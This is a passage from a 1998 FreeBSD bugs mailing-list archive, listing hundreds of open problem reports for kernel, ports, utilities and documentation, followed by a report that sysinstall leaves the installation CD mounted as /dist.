misc/5525 bde gid and uid in struct pwd are ints, when s [1998/01/20] misc/5531 [SUBMISSION] new library function abs2rel s [1998/01/20] kern/5532 [PATCH] Dropped packet counts are inaccur o [1998/01/21] bin/5537 vi dumps core with dodgy exrc file o [1998/01/21] misc/5539 ftp problems with ftp.freebsd.org ? "Tran o [1998/01/21] bin/5541 ppp -alias (2.2.5-STABLE) has troubles wi o [1998/01/22] docs/5545 doc http://www.freebsd.org/handbook/handbook3 o [1998/01/22] bin/5549 Kernel Problem o [1998/01/24] i386/5559 PC-Card joystick ports were not supported o [1998/01/25] bin/5567 trying to mount a joliet filesystem cdrom o [1998/01/26] bin/5569 Problems with 'moused'. o [1998/01/26] ports/5570 ports new port, rise 0.3.3 o [1998/01/26] kern/5577 bde Unnecessary disk I/O and noatime ffs fixe a [1998/01/28] bin/5591 Trouble with LD_PRELOAD environment varia o [1998/01/30] ports/5608 jfitz Ports change-request: Afterstep I18N o [1998/01/31] bin/5609 lpd cannot send long files to HP's JetDir o [1998/02/02] ports/5626 ports 'ldap' port eats all available CPU time o [1998/02/02] kern/5627 Tertiary/Quaternary IDE Ctlrs: A few kern o [1998/02/04] bin/5650 fetch(1) manpage out of date WRT FTP URLs o [1998/02/04] bin/5651 fenner fetch(1) doesn't CD properly on FTPs o [1998/02/04] ports/5653 ports New port of ICI language a [1998/02/05] ports/5660 ports New port type1inst o [1998/02/05] misc/5662 sysinstall generates short dev names for o [1998/02/06] bin/5666 ifconfig fails to add alias o [1998/02/06] kern/5672 Crash from scsi aborted command 'Overlapp o [1998/02/07] ports/5675 ports New port in category devel: DOC++ o [1998/02/09] kern/5689 sysctl vm.vmmeter - bogus and unsupported o [1998/02/10] ports/5706 ports New port: ja-dvi2dvi-1.0 (japanese/dvi2dv o [1998/02/10] bin/5711 bin/cat code cleanup o [1998/02/10] bin/5712 /bin/chio code cleaup and option added o [1998/02/10] bin/5717 pw -D -g "" returns error o [1998/02/10] bin/5718 pkg_delete refuses to run as non-root o [1998/02/14] bin/5745 [PATCH] Add /usr/local/share/mk to defaul o [1998/02/14] bin/5746 bootparamd will not netboot sun 3 compute o [1998/02/14] bin/5747 ld.so error message o [1998/02/15] bin/5758 sys/resources.h doesn't include sys/time. o [1998/02/17] kern/5768 Shutdown aborts syncing, when sync isn't o [1998/02/17] ports/5771 ports New port: Stuttgart Neural Network Simula s [1998/02/17] misc/5772 peter nfsstat does not work o [1998/02/17] ports/5776 ports New compression port: lzo o [1998/02/18] i386/5779 BOUNCE_BUFFERS option in LINT needs modif o [1998/02/18] i386/5784 ibcs2 emulation not handling ioctl(..FION a [1998/02/18] misc/5786 definition of speed_t in termios.h is not o [1998/02/19] ports/5788 joerg pcemu harddisk-access fixes o [1998/02/19] kern/5789 wcd0 requires ATAPI_STATIC o [1998/02/19] kern/5795 Panic: "bremfree: removing a buffer when o [1998/02/20] kern/5800 incorporate -current pppd driver into -st o [1998/02/20] misc/5803 "tab" function from "ee" not compatible w o [1998/02/21] misc/5813 strsignal() missing a [1998/02/22] ports/5814 ports New package XShodou o [1998/02/22] ports/5821 ports Port of Swish-E, a Web site indexer o [1998/02/25] gnu/5841 installmost or install (world) of tmac fa o [1998/02/25] bin/5847 Makeworld fails if CXXFLAGS is set. o [1998/02/25] docs/5848 [PATCH] Update web.mk to handle SGML file o [1998/02/25] misc/5855 /etc/services is out of date with IANA o [1998/02/26] bin/5857 non-functional lpr/lpr o [1998/02/26] ports/5859 ports xxgdb port doesn't recognize the -k optio o [1998/02/26] kern/5863 Kernel support for sorted SHUTDOWN & SHUT o [1998/03/01] bin/5880 df -t does not support devfs o [1998/03/01] ports/5884 dburr New port: icqjava-0.981a (net/icqjava) o [1998/03/01] ports/5885 ports New port: dc20ctrl-0.4 (graphics/dc20ctrl o [1998/03/02] bin/5901 new version of `fmt' o [1998/03/03] bin/5912 kinit exits if no user name specified o [1998/03/06] kern/5931 dma errors in syslog with GUS-max o [1998/03/06] i386/5932 perfmon kernel code should check for non- o [1998/03/07] conf/5936 Add hostname to C shell prompt o [1998/03/08] bin/5944 cvs doesn't work correct. o [1998/03/08] ports/5946 ports New port biology/molmol o [1998/03/10] kern/5964 peter nfsd send interface selection seems broke o [1998/03/10] bin/5966 vi's spanish message catalog does not use o [1998/03/10] kern/5967 upg from 2.1.7.1/2.2.1 to 2.2.5-stable (a o [1998/03/10] ports/5972 andreas x11/fvwm95 requiring gsm, and rplay is a o [1998/03/11] gnu/5982 no error exit code from tar on child fail o [1998/03/12] gnu/5992 cvs y2k o [1998/03/13] bin/6000 kadmin ank uses bad default expiration of o [1998/03/15] bin/6015 indent(1) breaks source with backslash ne o [1998/03/15] ports/6017 ports new port: yacl o [1998/03/15] ports/6018 ports new port: ml-3.3 a [1998/03/15] ports/6020 ports new port: Xfstt-0.9.7 o [1998/03/15] ports/6027 max New Port: tgif2tex o [1998/03/16] kern/6032 poor TCP performance using FDDI over long o [1998/03/16] docs/6036 doc New handbook section 10.4.3.4 - si driver s [1998/03/18] ports/6053 kuriyama new port request: korean/hanIM o [1998/03/18] kern/6056 de driver support for DS 21143 incomplete o [1998/03/18] ports/6057 ports xperfmon++-1.40 package fails XtRealloc() o [1998/03/18] misc/6060 peter Sendmail executable, not doing MASQUERADE o [1998/03/18] bin/6064 Script to update files installed by /usr/ o [1998/03/19] i386/6067 boot.help pushes kernel list off screen o [1998/03/21] ports/6085 ports New port: pavuk-0.8 o [1998/03/22] conf/6096 /sys/i386/conf/LINT: edit(???) sound_conf o [1998/03/22] i386/6098 FreeBSD only uses 16M of 48M on Compaq De o [1998/03/22] gnu/6107 gdb should support PRINTF_HAS_LONG_LONG o [1998/03/23] ports/6113 ports new port: rinfo-1.2 o [1998/03/23] ports/6120 ports New port: xtetris-2.6 o [1998/03/27] bin/6144 telnet for 8-bit data path o [1998/03/27] ports/6151 ports New port: xrus-1.5.2 o [1998/03/28] ports/6153 ports New port: flick o [1998/03/28] bin/6156 Patches to make dump understand ENOSPC o [1998/03/28] bin/6161 2.2.6 kerberos servers are awfully visibl o [1998/03/29] ports/6170 ports another squid ports o [1998/03/29] ports/6171 ports New port: xtron-1.1a o [1998/03/30] bin/6176 running architextSearch (excite) under li o [1998/03/30] ports/6181 dburr New port: xoj-1.0 o [1998/03/31] bin/6183 quota hangups o [1998/03/31] kern/6184 No error if resulting file pos in lseek i o [1998/04/01] bin/6187 peter mounting nfs directories with -b can caus o [1998/04/01] ports/6194 ports New port: mirrormagic-1.3 o [1998/04/02] bin/6198 demangling C++ names breaks the Cygnus -f o [1998/04/03] bin/6200 flex can be upgraded o [1998/04/03] bin/6202 No way to detect removable media. o [1998/04/03] bin/6206 Enhancements to the shutdown program o [1998/04/04] kern/6213 peter NFS-mounted swap (via vnconfig) easily cr o [1998/04/04] bin/6214 ping sometimes cannot be killed with a Co o [1998/04/05] conf/6220 Too few ttyv devices in the -RELEASE syst s [1998/04/06] bin/6223 PST/DST bug in /bin/date o [1998/04/06] bin/6227 as doesn't handle this instruction o [1998/04/06] bin/6228 Syslogd not working according to manpage o [1998/04/06] ports/6230 ports gfont_mkgdf calls wrong interpreter o [1998/04/06] bin/6234 ypserv -d is broken o [1998/04/07] ports/6235 ports New port: scwm-icon o [1998/04/07] ports/6236 ports New port: scwm o [1998/04/07] kern/6247 Gravis UltraSound Classic no longer works o [1998/04/09] kern/6255 SI driver fix for Jet ISA memory size o [1998/04/09] kern/6256 SI driver - new T225 download code o [1998/04/10] i386/6269 Included is a patch to support AMD Write- o [1998/04/10] i386/6270 options.i386 update for AMD write-allocat o [1998/04/14] docs/6295 doc Reference to nonexistent file in Device D o [1998/04/14] kern/6296 IP_HDRINCL sockets force header fields to a [1998/04/14] kern/6299 vmstat -i does not show PnP device interr o [1998/04/15] docs/6307 doc sgmlfmt not `make -jN' ready s [1998/04/15] bin/6308 [PATCH] date(1) -v argument cannot vary s o [1998/04/15] ports/6311 ports New port: gsfonts o [1998/04/15] ports/6312 ports New port: ghostscript-3.33 s [1998/04/15] bin/6314 [PATCH] /usr/sbin/ac modification s [1998/04/16] ports/6315 kuriyama new port request: korean/htm o [1998/04/16] kern/6318 pppd does not update wtmp on hangup o [1998/04/16] misc/6320 Sometimes nohup isn't good enough. a [1998/04/16] ports/6321 andreas can't run any version of PostgreSQL on 2. o [1998/04/17] ports/6331 ports New port: libshhopt-1.1.3 o [1998/04/17] bin/6332 bde /usr/include/time.h doesn't compile with o [1998/04/17] conf/6334 -DALLLANG should be moved from src/Makefi o [1998/04/17] gnu/6338 Gnu tar not working properly with the -G o [1998/04/18] conf/6346 Kernel version strings need to relate to a [1998/04/19] ports/6355 ports New port o [1998/04/20] bin/6359 routed does sent router discovry solicita o [1998/04/20] ports/6361 ports New ports collection: GNU Pascal Compiler s [1998/04/20] bin/6371 [PATCH?] fetch(1) uses HTTP_PROXY for ftp o [1998/04/23] ports/6393 ports patch for multimedia-2.1.tar.gz f [1998/04/23] bin/6399 [PATCH] When using "-u" mount doesn't sta o [1998/04/23] bin/6401 user error while mounting causes panic o [1998/04/23] kern/6402 another machine can change my own permane o [1998/04/24] ports/6405 ports vrweb port does not build; ignores local s [1998/04/25] ports/6414 kuriyama new ports for ja-color-lynx2.8rel.3 (modi s [1998/04/25] ports/6416 kuriyama new ports for ja-color-lynx2.8.1dev.7 (mo a [1998/04/27] kern/6432 IFF_NOARP does not affect ethernet interf o [1998/04/28] ports/6434 se [PATCH] mediatool in x11/kdelibs cause kw o [1998/04/28] ports/6445 ports New port for `fhist' o [1998/04/29] docs/6455 doc bootptab.5 uses both man macros and mdoc o [1998/04/30] kern/6464 tcpdump doesn't recognize tun0 when it's o [1998/05/01] ports/6473 ports New port: libshhmsg-1.3.3 o [1998/05/01] ports/6474 ports New port: libxalloc-1.0.2 o [1998/05/03] kern/6495 Need pci_unmap_mem and pci_unmap_port rou o [1998/05/03] ports/6504 ports New port of `C Interfaces and Implementat o [1998/05/03] kern/6505 panic: cannot mount root on sd1 o [1998/05/04] docs/6508 doc sgmlfmt does not expand relative URLs s [1998/05/04] bin/6509 [ALMOST PATCH] Allow dd to seek/skip to o o [1998/05/04] docs/6510 steve GNATS doesn't expand freebsd-doc s [1998/05/05] bin/6521 [MAYBE PATCH] "rmdir -p x/y/z/" fails o [1998/05/07] ports/6541 ports New port: math/dc o [1998/05/07] kern/6544 Only get one channel through sound card o [1998/05/07] ports/6546 ache 3line ansi prompt in tcsh: cursor disappe o [1998/05/09] conf/6559 jkh Upgrade processing clobber's ~root/{.cshr o [1998/05/09] ports/6563 se minor problems with KDE ports o [1998/05/09] docs/6564 doc need more references in fetch(1) o [1998/05/10] ports/6570 ports port of java CUP parser o [1998/05/11] i386/6595 Old IP address persistent after change o [1998/05/11] ports/6598 ports new port for FreeBSD - asmodem o [1998/05/12] ports/6606 ports package add of perl-5.00404 fails w/3.0 S o [1998/05/12] misc/6612 bsd.man.mk can't handle man pages with ": o [1998/05/12] ports/6613 ports ports/lang/perl5 fails to install by addi o [1998/05/13] kern/6623 non-root user can crash system if disconn o [1998/05/13] conf/6624 davidn One class with nologin=/etc/nologin: reje o [1998/05/15] kern/6651 peter Possible NFS deadlock clue f [1998/05/16] bin/6653 The rc script sometimes produces errors w o [1998/05/16] ports/6657 ports new port for perl/Tk 800.004 s [1998/05/16] bin/6658 [PATCH] -stable getcwd(3) performs unnece s [1998/05/17] kern/6668 [PATCH] new driver: Virtual Ethernet driv s [1998/05/18] bin/6676 [PATCH] natd doesn't respond to signals w o [1998/05/18] docs/6681 doc docu. addition o [1998/05/19] ports/6687 ports New port, ktelnet v0.6 o [1998/05/19] ports/6699 ports Generic NQS port (new) o [1998/05/20] kern/6702 luigi tsleep and new snd (pcm0) o [1998/05/21] ports/6709 ports New port kmessage s [1998/05/21] conf/6711 [PATCH ?] I've seen that fortune before o [1998/05/23] ports/6728 ports New port ktranslator o [1998/05/24] docs/6745 doc man page for ftpd o [1998/05/25] misc/6752 jkh sysinstall w/o cd9660 fs loaded can't mou s [1998/05/25] kern/6758 mount_portal fails because kernal refuses a [1998/05/26] misc/6759 phk buggy code in libdisk.a's disk.c o [1998/05/26] kern/6760 can't compile kernel w/o networking s [1998/05/26] docs/6764 doc limits references to sysctl o [1998/05/26] kern/6769 peter panic: nfs rcvunlock o [1998/05/28] ports/6776 ports New port - xqf s [1998/05/29] kern/6781 [PATCH] exabyte changer doesn't grok LUNs s [1998/05/29] bin/6785 place for all the default dump flags s [1998/05/29] i386/6792 eivind [PATCH][STABLE]Backported PnP support for o [1998/05/29] bin/6795 steve send-pr does not parse problem reports co o [1998/05/31] ports/6806 ports /usr/ports/graphics/killustrator doesn't f [1998/05/31] ports/6813 fenner patched audio module for vat port o [1998/06/01] ports/6815 torstenb ssh lookup ignores second IP address s [1998/06/01] kern/6819 [PATCH] pci_unmap_int (pci/pci.c) does no o [1998/06/01] kern/6820 cd9660_mount NULL pointer deref for no CD s [1998/06/02] bin/6832 imp [PATCH] Allows PINGing from any address o o [1998/06/02] ports/6838 ports Enable lj4dith driver by default s [1998/06/02] kern/6843 sos [PATCH] to enable reading digital audio s o [1998/06/04] ports/6862 jfitz Cyrus upgraded to 1.5.10 o [1998/06/06] kern/6874 accounting prevents transition to multi u o [1998/06/11] ports/6915 ports Apache-FP for apache v1.3.0 o [1998/06/11] bin/6919 can not run multiple instances of /sbin/r o [1998/06/13] misc/6936 sysinstall: install from MS-DOS MO divece o [1998/06/13] bin/6937 [PATCH] rc.firewall can't be run from net o [1998/06/13] bin/6939 restore does not set the correct uid on d o [1998/06/13] ports/6942 ports New port, mrouted-beta o [1998/06/15] ports/6954 vanilla New port: CJK o [1998/06/16] gnu/6965 wosch grep -a dosn't work o [1998/06/16] ports/6970 ports mule and family build faulure o [1998/06/18] kern/6981 CD unmount w/o CD in drive can cause pani s [1998/06/19] bin/6995 [patch] Minor flaw in fdformat s [1998/06/19] bin/6997 [patch] vnconfig "open" error message con o [1998/06/19] conf/6999 Mismatch in rc.conf "accounting" keyword o [1998/06/20] ports/7004 jmz sysutils/cdrecord depends on mkisofs, is a [1998/06/20] ports/7005 dburr Submitting RealAudio Player 3.0 as a new o [1998/06/20] ports/7006 itojun hylafax port improved s [1998/06/21] kern/7014 [PATCH][STABLE] Add support for SiS 5591 o [1998/06/22] bin/7021 asami Size estimation patches to pkg_* o [1998/06/22] bin/7022 asami changes to bsd.port.mk to accompany PR bi o [1998/06/22] bin/7023 asami bsd.port.(%|subdir.).mk patches for size o [1998/06/23] kern/7029 gibbs cdrecord and aic7880 troubles f [1998/06/23] i386/7031 Our RocketPort port does not support DEVF s [1998/06/24] kern/7044 [PATCH] WaveLAN (2.4G, ISA, full-length b s [1998/06/24] i386/7052 amd_map_program and NIS problem s [1998/06/24] bin/7055 steve [mfc] multiple syslog-forwarding will for o [1998/06/24] ports/7062 torstenb pidentd partialy broken in current s [1998/06/24] bin/7063 mount fails if $PWD does not exist o [1998/06/25] docs/7065 wosch FreeBSD webpages -> applications, port br o [1998/06/25] bin/7068 markm /usr/bin/perl: library path addition s [1998/06/26] bin/7081 [patch] lpr stuff doesn't deal with RM an s [1998/06/26] kern/7085 [patch] maybe_resched() priority check co o [1998/06/28] ports/7094 ports New port of xbomber game s [1998/06/28] kern/7095 [stable] Gravis MAX in 2.2.6 suffers from s [1998/06/28] i386/7100 integrate pcvt configuration into the /et s [1998/06/28] bin/7101 /sbin/ipfw unexpected variant treatment o s [1998/06/29] bin/7117 flex -I option is broken o [1998/06/30] ports/7128 ports New port: Raster3D-2.4f s [1998/06/30] gnu/7135 [PATCH] It's not easy to build a cvs bina s [1998/07/01] bin/7136 kerberized telnetd doesn't use gettytab % o [1998/07/01] ports/7140 ports new port: htdig s [1998/07/02] kern/7146 The PCCARD doesnt recognize cards in top o [1998/07/02] ports/7150 ports `elftoaout': new port s [1998/07/04] i386/7159 [PATCH] Unknown option OVERRIDE_CARD (bt8 o [1998/07/04] ports/7163 ports new port: p5-Set-IntSpan o [1998/07/04] ports/7164 ports new port: p5-News-Newsrc s [1998/07/05] kern/7177 [PATCH] Support for "Video Highway Xtreme s [1998/07/06] bin/7184 /usr/games/robots fails to write high sco f [1998/07/07] i386/7201 (cpu == CPU_686) in pmap.c shoud also app s [1998/07/07] bin/7203 [PATCH] fetch -o - file:/path/name doesn' s [1998/07/08] kern/7210 [PATCH] od(4) bug fixes and enhancements, s [1998/07/10] misc/7232 Suggestion for FreeBSD installation dialo o [1998/07/10] kern/7234 yokota keyboard problems during login immediatel f [1998/07/10] misc/7239 ping(8) and traceroute(8) may report erra f [1998/07/10] bin/7241 tcpdump does not work with parallel line o [1998/07/11] bin/7254 release: multiple versions of write_mfs_i o [1998/07/12] kern/7259 -current: GENERIC and SMP-GENERIC out of o [1998/07/12] ports/7261 ports problem of wget-1.5.2 o [1998/07/12] bin/7265 A warning flag is added to ln(1). o [1998/07/13] ports/7268 asami MASTER_SITE_OVERRIDE works more better o [1998/07/13] ports/7275 torstenb Symlink for one ssh man-page is wrong o [1998/07/14] kern/7282 some old and rarely used drivers have app o [1998/07/14] ports/7283 ache tcsh / LC_CTYPE - obscure problem. o [1998/07/15] bin/7287 Incorrect domain name for MAP_UPDATE in m o [1998/07/15] docs/7289 doc ppp.8: RECEIVING INCOMING PPP CONNECTIONS o [1998/07/15] bin/7294 lpr -r file fails to remove file because o [1998/07/15] ports/7295 ports Starting programs with bash port causes p o [1998/07/15] bin/7296 hoek Long-standing bug in 'more' wrt CRLF. I o [1998/07/16] bin/7298 Improvements to ln(1). o [1998/07/17] docs/7306 doc There is no manpage for timegm o [1998/07/18] ports/7314 ports ncurses port doesn't support TERM=xterm-c a [1998/07/19] bin/7324 wosch Suggestions for minor modifications to ad o [1998/07/19] bin/7325 /bin/sh redirection does not match man pa o [1998/07/20] bin/7337 Creating a partition "before" the boot pa o [1998/07/20] ports/7344 ports New port: wmavgload-0.6.1 o [1998/07/21] ports/7347 ports Upgraded port: mysql-3.21.33 o [1998/07/21] conf/7348 Default answer 'NO' in network configurat o [1998/07/21] bin/7352 libc generates spurious warnings when use o [1998/07/21] conf/7355 The checkboxes are not always properly up o [1998/07/21] docs/7359 doc amd documentation problems a [1998/07/22] ports/7365 ports new port request: korean/pgp.language o [1998/07/23] ports/7375 dburr New port request: audio/xsplay f [1998/07/23] kern/7377 we have a new digiboard driver supporting o [1998/07/23] ports/7379 obrien super's command link feature doesn't work o [1998/07/24] misc/7391 jkh 2.2.7-RELEASE: src/CHECKSUM.MD5 and des/C o [1998/07/24] ports/7394 jfitz INDEX has bad description for p5-Mysql-mo s [1998/07/27] ports/7408 asami packages-2.2.7/INDEX is wrong o [1998/07/27] ports/7409 ports New port: CaribbeanStud-1.0 s [1998/07/27] bin/7417 ls -W option unimplemented s [1998/07/29] i386/7426 Bugs in macro definitions of pthreads. o [1998/07/29] ports/7428 ports new port of WindowMaker-data o [1998/07/29] ports/7430 se kvt terminal emulator does not update /va s [1998/07/29] misc/7435 [PATCH(HACK)] PR 6387 solution didn't han o [1998/07/30] ports/7449 ports upgrade of scilab port o [1998/07/30] bin/7454 jkh make dependencies more visible in sysinst o [1998/07/30] misc/7455 jkh trailing spaces on mountpoint hangs sysin s [1998/07/31] docs/7456 doc dialog(3) man page outdated o [1998/08/01] ports/7464 dburr New port: WMakerconf o [1998/08/01] kern/7468 [smp] Error building modula-3 on dual-pro o [1998/08/03] ports/7480 ports New Port afbackup-3.0.4 o [1998/08/03] ports/7485 vanilla New port: Xterminal-0.2 s [1998/08/06] i386/7510 [PATCH] syscons and vidcontrol to support o [1998/08/08] ports/7532 ports New port: ipltd-2.01 s [1998/08/08] docs/7533 doc Chpass command description unclear on gec o [1998/08/09] ports/7537 ports I have made a port for the new PPP client s [1998/08/09] kern/7546 [PATCH] [STABLE ?]shutdown -p - system po s [1998/08/10] bin/7560 jkh [PATCH] format string problems in sysinst s [1998/08/10] docs/7567 doc pccardc has no man page o [1998/08/11] ports/7576 ports NEW port: skkfep-0.85 (Japanese FrontEnd o [1998/08/11] ports/7580 ports new port: devel/global o [1998/08/11] ports/7581 ports new port [net x11]/ethereal o [1998/08/11] ports/7582 ports new port: net/portscanner o [1998/08/11] bin/7583 indent input file argument isn't really o o [1998/08/11] ports/7585 vanilla Port for Back Orifice, Windows 95/98 remo f [1998/08/12] kern/7589 Tulip Driver parses SROM contents wrong f [1998/08/13] conf/7606 NIS Makefile.dist: NOPUSH replaced by REM o [1998/08/13] bin/7607 GTAGS patch for nvi has posibility of buf o [1998/08/14] ports/7615 ports pico appends "UUUUUUUUUU" when saving... o [1998/08/14] kern/7619 odd nfs server not responding messages ap o [1998/08/15] ports/7623 se Missing patch in kde-1.0 port o [1998/08/16] ports/7628 dburr new port: sajber-jukebox o [1998/08/16] i386/7629 fdisk does not recognize BSD/OS partition o [1998/08/16] bin/7632 Race condition in /stand/sysinstall o [1998/08/16] ports/7634 ports New port: PPA filter for HP "Windows-only o [1998/08/16] ports/7639 ports UUENCODE/ISH file converter o [1998/08/16] ports/7640 ports Japanese kanji code converter o [1998/08/17] ports/7648 ports Port of GD graphic library which uses Rus o [1998/08/17] ports/7652 ports mirror installation does not point at loc o [1998/08/17] ports/7653 tegge net/ftpsearch doesn't build under -curren o [1998/08/17] ports/7656 vanilla New port: Gnome-0.27 o [1998/08/18] ports/7659 ports submitting request for pfx-0.1.1 o [1998/08/18] ports/7668 ports upgrade: mgv 2.4.3 --> 3.0.2 o [1998/08/18] bin/7669 libalias does not IRC DCC packets under c o [1998/08/18] ports/7670 ports new port: net/beroftpd o [1998/08/18] ports/7671 dburr new port: audio/replay o [1998/08/18] ports/7674 ports New port: abacus-0.9.3 o [1998/08/19] conf/7676 3.0 make world on 2.2 problems o [1998/08/19] docs/7679 doc NIS man pages are incomplete o [1998/08/19] ports/7680 ports New port of tn5250 o [1998/08/19] ports/7681 ports [PORTS] TkDesk 1.0 is not Y2K compliant o [1998/08/19] conf/7682 Cron logfile in the wrong place o [1998/08/19] ports/7683 ports exim port builds unoptimized o [1998/08/19] ports/7684 ports ports/textproc/par overides CFLAGS o [1998/08/19] gnu/7687 description of default baud rate for cu c o [1998/08/19] ports/7689 ports New port: binkd-0.9.2 o [1998/08/20] kern/7693 Misleading warning in cblock_alloc_cblock o [1998/08/20] bin/7694 bogus error-message from route(8) o [1998/08/20] i386/7695 rc.i386 only enables mouse support for tt o [1998/08/20] misc/7697 rshd gives "broken pipe" at 2.2.7 o [1998/08/20] ports/7700 ports Apache 1.3.1 with ssl o [1998/08/21] ports/7701 ports New port: drmario-1.0 o [1998/08/21] conf/7705 rwhod should use rwhod_flags in rc.networ o [1998/08/21] ports/7706 ports update for catdoc port o [1998/08/22] ports/7715 ports [new ports] editors/leim-emacs20 for emac o [1998/08/22] ports/7716 ports New ports of elisa font(8x8 dots JIS X 02 o [1998/08/22] ports/7718 ports [new ports] leafnode with Jam patch, ${PO o [1998/08/22] ports/7719 vanilla New port (audio category) o [1998/08/22] ports/7721 vanilla New port (audio category) o [1998/08/22] kern/7722 Changes to acct format o [1998/08/23] docs/7726 doc Add TkDesk problem to y2kbug page o [1998/08/23] bin/7728 ftpd processes hang o [1998/08/23] i386/7729 Progress broker is unable to read status o [1998/08/23] ports/7732 ports new port: graphics/qcread o [1998/08/24] ports/7733 ports Mrtg port doesn't use most recent tarball o [1998/08/24] ports/7734 ports update atari800 - upgrade to the latest v o [1998/08/24] ports/7735 ports new port: mp3encode - mpeg audio file enc a [1998/08/25] misc/7741 enhancement to tcpdump to print LCP/PAP/C o [1998/08/25] ports/7746 ports a patch for a problem on 3.0-CURRENT o [1998/08/25] ports/7747 ports cannot compile japanese/onew-* on 3.0-CUR o [1998/08/27] bin/7753 arp command fails silently on invalid pro o [1998/08/27] bin/7757 xlint/gcc: "warning: integral constant to o [1998/08/27] misc/7759 proflibs installation error, libcrypt_p.a o [1998/08/27] i386/7768 boot mgr doesnt apear to install, cannot o [1998/08/28] misc/7771 Debugging putenv/getenv o [1998/08/28] ports/7773 ports new port of Tinker molecular modeling too o [1998/08/29] ports/7774 torstenb sshd doesn't refuse to login people with o [1998/08/29] ports/7775 ports New version: korganizer v0.9.10 o [1998/08/29] ports/7777 ports New port: pkg_version-0.1 o [1998/08/29] bin/7779 [PATCH] modload should detect stripped ke o [1998/08/29] ports/7780 ports Adding port: WMnet -- Network Throughput o [1998/08/30] kern/7782 Kernel rebuild not correctly responding t o [1998/08/30] bin/7786 quota.h has superfluous semicolon in macr o [1998/08/31] ports/7789 stb [PATCH] cyrus imapd is outdated (and does o [1998/08/31] docs/7790 doc ipf(1) lists non-existent mkfilters(1) o [1998/08/31] docs/7791 doc ipf(1) and ipfstat(1) should have been ip o [1998/08/31] pending/7792gnats-adminback patch from -current to -stable Linux o [1998/09/01] bin/7798 rc.conf.5 manpage lay out is incorrect o [1998/09/01] gnu/7800 tar(1) does not recognize --gunzip option o [1998/09/01] pending/7801gnats-adminCannot install FreeBSD on 486 if one of t o [1998/09/01] bin/7803 timeout in scsiformat to small o [1998/09/02] ports/7806 ports Fixed port: xfce o [1998/09/02] docs/7809 doc [PATCH] a trivial bug in tar.1 o [1998/09/02] gnu/7811 Build Objective C library shared for ELF o [1998/09/02] kern/7812 APM machines should attempt to power down o [1998/09/02] ports/7814 ports postgreqsl docs are broke o [1998/09/02] i386/7816 [Patch] NE2000 PnP card IDs to sys/i386/i o [1998/09/03] ports/7818 ports sysutils/cdrecord has an unnecessary run o [1998/09/03] docs/7819 doc nroff macro problem(miss reformated) in d o [1998/09/03] docs/7820 doc non-English mailing lists: majordomo@coun o [1998/09/03] ports/7827 ports New port: garith-2.1 o [1998/09/03] bin/7828 Add a command line option to cp to make i o [1998/09/04] ports/7832 ports LICQ 1.41 port o [1998/09/04] docs/7833 doc awk.1 contains typos. o [1998/09/04] ports/7834 ports New port: IFM - Interactive Fiction Mappe o [1998/09/05] kern/7837 patches to add a p_auth extension pointer o [1998/09/06] docs/7841 doc missing comma in systat.1 o [1998/09/06] ports/7842 ports mv ports/korean/vim ports/editors/vim to o [1998/09/06] ports/7844 ports rm -f /var/run in /etc/rc causes error in o [1998/09/07] pending/7845gnats-adminUnbuffered /dev/vx0-output from Python 1. o [1998/09/07] bin/7846 /sbin/mount_* do not canonicalize the mou o [1998/09/07] ports/7847 ports Port for webmin 0.62 o [1998/09/07] ports/7848 ports Update ports: lang/perl5 (pkg_delete prob o [1998/09/07] pending/7850gnats-adminlt_LT.* locale o [1998/09/07] pending/7851gnats-adminlooks like send-pr discards bug report wi 755 problems total. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 11:20:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA10003 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 11:20:05 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA09972 for ; Mon, 7 Sep 1998 11:20:03 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id LAA26221; Mon, 7 Sep 1998 11:20:02 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA09725; Mon, 7 Sep 1998 11:19:22 -0700 (PDT) (envelope-from nobody) Message-Id: <199809071819.LAA09725@hub.freebsd.org> Date: Mon, 7 Sep 1998 11:19:22 -0700 (PDT) From: francisco@natserv.com To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: conf/7852: sysinstall leaves CD mounted as /dist Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7852 >Category: conf >Synopsis: sysinstall leaves CD mounted as /dist >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Sep 7 11:20:01 PDT 1998 >Last-Modified: >Originator: francisco reyes >Organization: >Release: 2.2.7 >Environment: >Description: sysinstall sometimes leaves the CD mounted as /dist >How-To-Repeat: Happens when installing packages. Otherp people report it happens when after going into packages no package is installed. >Fix: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 12:50:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA24277 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 12:50:10 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA24210 for ; Mon, 7 Sep 1998 12:50:05 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id MAA28714; Mon, 7 Sep 1998 12:50:04 -0700 (PDT) Received: from catastrophe.gelemna.ft-wayne.in.us (fw-line-137.fwi.com [209.84.172.142]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA22451 for ; Mon, 7 Sep 1998 12:43:35 -0700 (PDT) (envelope-from croyle@gelemna.ft-wayne.in.us) Received: from emerson.gelemna.ft-wayne.in.us (emerson.gelemna.ft-wayne.in.us [10.23.42.2]) by catastrophe.gelemna.ft-wayne.in.us (8.8.8/8.8.8) with ESMTP id OAA26603 for ; Mon, 7 Sep 1998 14:42:23 -0500 